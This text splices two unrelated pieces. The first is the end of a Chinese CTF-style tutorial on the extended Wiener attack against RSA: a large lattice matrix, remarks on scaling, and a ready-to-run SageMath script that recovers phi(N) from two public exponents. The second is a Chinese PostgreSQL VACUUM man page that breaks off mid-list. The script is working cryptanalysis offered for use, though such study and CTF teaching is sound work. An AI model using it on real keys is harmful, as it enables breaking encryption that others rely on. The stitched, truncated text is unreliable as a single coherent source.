0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{5} & 0 & -N e_{1} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} e_{5} & -e_{1} e_{3} e_{4} e_{5} & -e_{1} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & N e_{1} e_{3} e_{4} e_{5} & N e_{1} e_{3} e_{4} e_{5} & N e_{1} e_{3} e_{4} e_{5} & 0 & N e_{1} e_{3} e_{4} e_{5} & N^{2} e_{1} e_{3} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{5} & -N e_{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & 0 & N^{2} e_{2} e_{3} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -e_{1} e_{2} e_{3} e_{4} e_{5} & -N e_{1} e_{2} e_{3} e_{4} e_{5} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{6} & -N e_{6} & 0 & 0 & 0 & 0 & N^{2} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & N^{4} e_{6} & -N^{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -e_{1} e_{6} & -N e_{1} e_{6} & 0 & 0 & 0 & N e_{1} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{6} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{2} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & -N^{3} e_{1} e_{6} & 0 & N^{4} e_{1} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{6} & 0 & 0 & 0 & -N e_{2} e_{6} & N e_{2} e_{6} & N e_{2} e_{6} & N e_{2} e_{6} & -N e_{2} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{6} & 0 & 0 & -N^{2} e_{2} e_{6} & -N^{2} e_{2} e_{6} & -N^{2} e_{2} e_{6} & 0 & 0 & 0 & 0 & -N^{3} e_{2} e_{6} & -N^{3} e_{2} e_{6} & -N^{3} e_{2} e_{6} & 0 & -N^{3} e_{2} e_{6} & N^{4} e_{2} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{6} & 0 & 0 & 0 & -N e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{3} e_{6} & -N^{2} e_{3} e_{6} & -N^{2} e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{3} e_{6} & -N^{3} e_{3} e_{6} & 0 & -N^{3} e_{3} e_{6} & -N^{3} e_{3} e_{6} & N^{4} e_{3} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{6} & 0 & 0 & 0 & -N e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{4} e_{6} & 0 & N^{2} e_{4} e_{6} & 0 & 0 & N^{2} e_{4} e_{6} & 0 & 0 & 0 & -N^{3} e_{4} e_{6} & 0 & -N^{3} e_{4} e_{6} & -N^{3} e_{4} e_{6} & -N^{3} e_{4} e_{6} & N^{4} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{5} e_{6} & 0 & 0 & 0 & -N e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{5} e_{6} & 0 & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & 0 & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & N^{2} e_{5} e_{6} & 0 & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & -N^{3} e_{5} e_{6} & N^{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & -e_{1} e_{2} e_{6} & 0 & 0 & 0 & e_{1} e_{2} e_{6} & e_{1} e_{2} e_{6} & e_{1} e_{2} e_{6} & -N e_{1} e_{2} e_{6} & 0 & 0 & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & N e_{1} e_{2} e_{6} & 0 & N^{2} e_{1} e_{2} e_{6} & N^{2} e_{1} e_{2} e_{6} & N^{2} e_{1} e_{2} e_{6} & 0 & 0 & -N^{3} e_{1} e_{2} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{6} & 0 & 0 & -e_{1} e_{3} e_{6} & e_{1} e_{3} e_{6} & e_{1} e_{3} e_{6} & 0 & 0 & 0 & -N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & 0 & 0 & 0 & N e_{1} e_{3} e_{6} & N e_{1} e_{3} e_{6} & 0 & N e_{1} e_{3} e_{6} & N^{2} e_{1} e_{3} e_{6} & N^{2} e_{1} e_{3} e_{6} & 0 & N^{2} e_{1} e_{3} e_{6} & 0 & -N^{3} e_{1} e_{3} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{6} & 0 & 0 & -e_{1} e_{4} e_{6} & 0 & -e_{1} e_{4} e_{6} & 0 & 0 & 0 & -N e_{1} e_{4} e_{6} & 0 & -N e_{1} e_{4} e_{6} & 0 & 0 & 0 & 0 & N e_{1} e_{4} e_{6} & N e_{1} e_{4} e_{6} & N^{2} e_{1} e_{4} e_{6} & 0 & N^{2} e_{1} e_{4} e_{6} & N^{2} e_{1} e_{4} e_{6} & 0 & -N^{3} e_{1} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{5} e_{6} & 0 & 0 & -e_{1} e_{5} e_{6} & 0 & -e_{1} e_{5} e_{6} & -e_{1} e_{5} e_{6} & 0 & 0 & -N e_{1} e_{5} e_{6} & 0 & -N e_{1} e_{5} e_{6} & -N e_{1} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{5} e_{6} & N^{2} e_{1} e_{5} e_{6} & N^{2} e_{1} e_{5} e_{6} & 0 & -N^{3} e_{1} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & -e_{2} e_{3} e_{6} & 0 & -N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & N e_{2} e_{3} e_{6} & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{3} e_{6} & N^{2} e_{2} e_{3} e_{6} & 0 & 0 & N^{2} e_{2} e_{3} e_{6} & -N^{3} e_{2} e_{3} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{6} & 0 & 0 & 0 & -e_{2} e_{4} e_{6} & 0 & -N e_{2} e_{4} e_{6} & 0 & 0 & 0 & N e_{2} e_{4} e_{6} & -N e_{2} e_{4} e_{6} & 0 & 0 & 0 & N^{2} e_{2} e_{4} e_{6} & 0 & N^{2} e_{2} e_{4} e_{6} & 0 & N^{2} e_{2} e_{4} e_{6} & -N^{3} e_{2} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & -N e_{2} e_{5} e_{6} & -N e_{2} e_{5} e_{6} & 0 & 0 & N^{2} e_{2} e_{5} e_{6} & N^{2} e_{2} e_{5} e_{6} & 0 & N^{2} e_{2} e_{5} e_{6} & -N^{3} e_{2} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{3} e_{4} e_{6} & 0 & 0 & -N e_{3} e_{4} e_{6} & 0 & 0 & 0 & N^{2} e_{3} e_{4} e_{6} & 0 & 0 & N^{2} e_{3} e_{4} e_{6} & N^{2} e_{3} e_{4} e_{6} & -N^{3} e_{3} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{3} e_{5} e_{6} & 0 & 0 & -N e_{3} e_{5} e_{6} & 0 & -N e_{3} e_{5} e_{6} & 0 & N^{2} e_{3} e_{5} e_{6} & 0 & N^{2} e_{3} e_{5} e_{6} & N^{2} e_{3} e_{5} e_{6} & -N^{3} e_{3} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & -N e_{4} e_{5} e_{6} & 0 & 0 & -N e_{4} e_{5} e_{6} & -N e_{4} e_{5} e_{6} & 0 & 0 & N^{2} e_{4} e_{5} e_{6} & N^{2} e_{4} e_{5} e_{6} & N^{2} e_{4} e_{5} e_{6} & -N^{3} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & 0 & -e_{1} e_{2} e_{3} e_{6} & -e_{1} e_{2} e_{3} e_{6} & 0 & 0 & -N e_{1} e_{2} e_{3} e_{6} & -N e_{1} e_{2} e_{3} e_{6} & 0 & 0 & 0 & N^{2} e_{1} e_{2} e_{3} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{6} & 0 & 0 & 0 & -e_{1} e_{2} e_{4} e_{6} & 0 & 0 & -e_{1} e_{2} e_{4} e_{6} & 0 & -N e_{1} e_{2} e_{4} e_{6} & 0 & -N e_{1} e_{2} e_{4} e_{6} & 0 & 0 & N^{2} e_{1} e_{2} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{5} e_{6} & -N e_{1} e_{2} e_{5} e_{6} & 0 & 0 & N^{2} e_{1} e_{2} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} e_{6} & -N e_{1} e_{3} e_{4} e_{6} & 0 & 0 & -N e_{1} e_{3} e_{4} e_{6} & 0 & N^{2} e_{1} e_{3} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{3} e_{5} e_{6} & 0 & -N e_{1} e_{3} e_{5} e_{6} & 0 & N^{2} e_{1} e_{3} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} e_{6} & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} e_{5} e_{6} & -N e_{1} e_{4} e_{5} e_{6} & 0 & N^{2} e_{1} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{4} e_{6} & N^{2} e_{2} e_{3} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} e_{6} & 0 & 0 & 0 & -N e_{2} e_{3} e_{5} e_{6} & 0 & 0 & -N e_{2} e_{3} e_{5} e_{6} & N^{2} e_{2} e_{3} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{5} e_{6} & 0 & 0 & 0 & -N e_{2} e_{4} e_{5} e_{6} & 0 & -N e_{2} e_{4} e_{5} e_{6} & N^{2} e_{2} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{5} e_{6} & 0 & 0 & 0 & -N e_{3} e_{4} e_{5} e_{6} & -N e_{3} e_{4} e_{5} e_{6} & N^{2} e_{3} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{6} & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{4} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} e_{6} & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{5} e_{6} & 0 & 0 & -N e_{1} e_{2} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{5} e_{6} & 0 & -N e_{1} e_{3} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{5} e_{6} & -N e_{2} e_{3} e_{4} e_{5} e_{6} \\
0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} e_{5} e_{6}
\end{array}\right)
$$
### 扩展维纳攻击开放探讨
* 对于现在扩展维纳的问题都是$n=2$或者是$n=3$时候的**模板题**，对于更高维的情况，可以编写自动化的脚本来完整自动选择关系、自动构造格等步骤，比如上述内容就是自动生成的。但是对于$n$每增加1，矩阵则是指数倍增加，因为这是一个$2^n * 2^n$的矩阵，这时候直接调用`sagemath`中的`LLL()`变得非常缓慢，大约$n=8$的情况已经运行不出来了，我曾尝试寻找`LLL`在CUDA上的并行算法或是一些其他优化方案实现，但是都是找到了论文没有给出源码的情况。
如果您对这方面有所研究或者有什么更好的优化方法，欢迎联系我（[Xenny](https://github.com/X3NNY)）一起进行更加深入的探讨。
### 扩展维纳攻击举例
* 考虑到不是每个人都需要深入研究扩展维纳攻击，这里还是给出$n=2$时候的EXP以供使用
```python
e1 = ...
e2 = ...
N = ...
a = 5/14
D = diagonal_matrix(ZZ, [N, int(N^(1/2)), int(N^(1+a)), 1])
M = matrix(ZZ, [[1, -N, 0, N^2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2]])*D
L = M.LLL()
t = vector(ZZ, L[0])
x = t * M^(-1)
phi = int(x[1]/x[0]*e1)
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "VACUUM" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
VACUUM \- 垃圾收集以及可选地分析一个数据库
.SH SYNOPSIS
.sp
.nf
VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] [ \fItable\fR ]
VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] ANALYZE [ \fItable\fR [ (\fIcolumn\fR [, ...] ) ] ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBVACUUM\fR 回收已删除元组占据的存储空间。 在一般的 PostgreSQL 操作里， 那些已经 DELETE 的元组或者被 UPDATE 过后过时的元组是没有从它们所属的表中物理删除的； 在完成 VACUUM 之前它们仍然存在。 因此我们有必须周期地运行 VACUUM， 特别是在常更新的表上。
.PP
如果没有参数，VACUUM 处理当前数据库里每个表， 如果有参数，VACUUM 只处理那个表。
.PP
\fBVACUUM ANALYZE\fR 先执行一个 VACUUM 然后是给每个选定的表执行一个 ANALYZE。 对于日常维护脚本而言，这是一个很方便的组合。参阅
ANALYZE [\fBanalyze\fR(7)]
获取更多有关其处理的细节。
.PP
简单的 VACUUM （没有FULL） 只是简单地回收空间并且令其可以再次使用。这种形式的命令可以和对表的普通读写并行操作， 因为没有请求排他锁。VACUUM FULL 执行更广泛的处理，包括跨块移动元组，以便把表压缩到最少的磁盘块数目里。 这种形式要慢许多并且在处理的时候需要在表上施加一个排它锁。
.PP
FREEZE 是一种特殊用途的选项，它导致元组尽可能快地标记为"冻结(frozen)"， 而不是等到它们已经相当老的时候才标记。如果在同一个数据库上没有其它运行着的事务的时候完成这个命令， 那么系统就保证在数据库里的所有元组都是"冻结(frozen)"的， 因此不会有事务 ID 重叠的问题，而和数据库未清理的时间没有关系。 我们不建议把 FREEZE 用做日常用途。我们用它的唯一目地是准备和用户定义的模板数据库联接的时候， 或者是其它完全是只读的， 不会等到日常维护性 VACUUM 操作的数据库。 参阅 Chapter 21 ``Routine Database Maintenance'' 获取细节。
.SH "PARAMETERS 参数"
.TP
\fBFULL\fR
选择"完全"清理，这样可以恢复更多的空间， 但是花的时间更多并且在表上施加了排它锁。
.TP
\fBFREEZE\fR
选择激进的元组"冻结"。
.TP
\fBVERBOSE\fR
为每个表打印一份详细的清理工作报告。
.TP
\fBANALYZE\fR
更新用于优化器的统计信息，以决定执行查询的最有效方法。
.TP
\fB\fItable\fB\fR
要清理的表的名称（可以有模式修饰）。缺省时是当前数据库中的所有表。
.TP
